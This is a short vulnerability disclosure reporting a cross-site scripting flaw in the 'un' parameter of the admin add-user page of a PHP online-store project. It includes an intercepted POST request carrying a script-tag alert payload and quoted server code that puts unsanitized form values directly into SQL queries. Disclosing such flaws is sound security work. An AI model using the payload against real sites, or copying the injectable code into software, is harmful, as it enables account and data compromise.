

XSS injection vulnerability exists in un parameter of /admin/add\_user\_modal.php file of Retro Cellphone Online Store

With XSS, cybercriminals can turn trusted websites into malicious ones, thus causing inordinate harm and damage not only to the victims but also to the reputation of the trusted website's owner.

Websites that are compromised by XSS can cause any number of threats to attack a user's system. This can involve anything from inappropriate content being displayed to malware being downloaded onto the system without the user knowing.

When visit /admin/user.php,it will include /admin/add\_user\_modal.php,and “un” parameter can do xss injection.

The screenshot shows a web application interface with a sidebar menu and a main content area. A modal window titled 'Welcome: Administrator' is displayed. A Burp Suite Repeater window is open, showing the request and response for the URL http://192.168.190.1. The request is a POST request to /admin/add\_user\_modal.php. The response is a 200 OK status with a content type of text/html. The response body contains an alert box with the text '9852'.

```
Request
Pretty Raw Hex
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
9 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0
10 Safari/537.36
11 Host: 192.168.80.1
12 Connection: Keep-alive
13 -----YWJkMTQzNDcw
14 Content-Disposition: form-data; name="fn"
15 pHqghUme
16 -----YWJkMTQzNDcw
17 Content-Disposition: form-data; name="go"
18 uJH[ww6KrA9F.x-F
19 -----YWJkMTQzNDcw
20 Content-Disposition: form-data; name="ln"
21 pHqghUme
22 -----YWJkMTQzNDcw
23 Content-Disposition: form-data; name="p"
24 uJH[ww6KrA9F.x-F
25 -----YWJkMTQzNDcw
26 Content-Disposition: form-data; name="un"
27 <ScRiPt >alert(9852)</ScRiPt>
28 -----YWJkMTQzNDcw--

Response
Pretty Raw Hex Render
233 </div>
234 </form>
235
236 <?php
237 if (isset($_POST['go'])) {
238     $fn = $_POST['fn'];
239     $ln = $_POST['ln'];
240     $p = $_POST['p'];
241     $un = $_POST['un'];
242
243     $query = mysqli_query($conn, "select * from tb_user where username= '$fn' or die");
244     $count = mysqli_num_rows($query);
245
246     if ($count > 0) {
247         <script>
248             alert("Username Already Taken");
249         </script>
250     } else {
251         mysqli_query($conn, "insert into tb_user (firstname,lastname,username,password)
252             values('$fn','$ln','$un','$p') or die(mysqli_error())");
253     }
254     <script>
255         alert("User Successfully Save!");
256         header("location:user.php");
257     </script>
258     <?php } }>
```

“

Payload: un=<ScRiPt >alert(9852)</ScRiPt>

“

Source Download:

<https://www.campcodes.com/projects/retro-cellphone-online-store-an-e-commerce-project-in-php-mysqli/>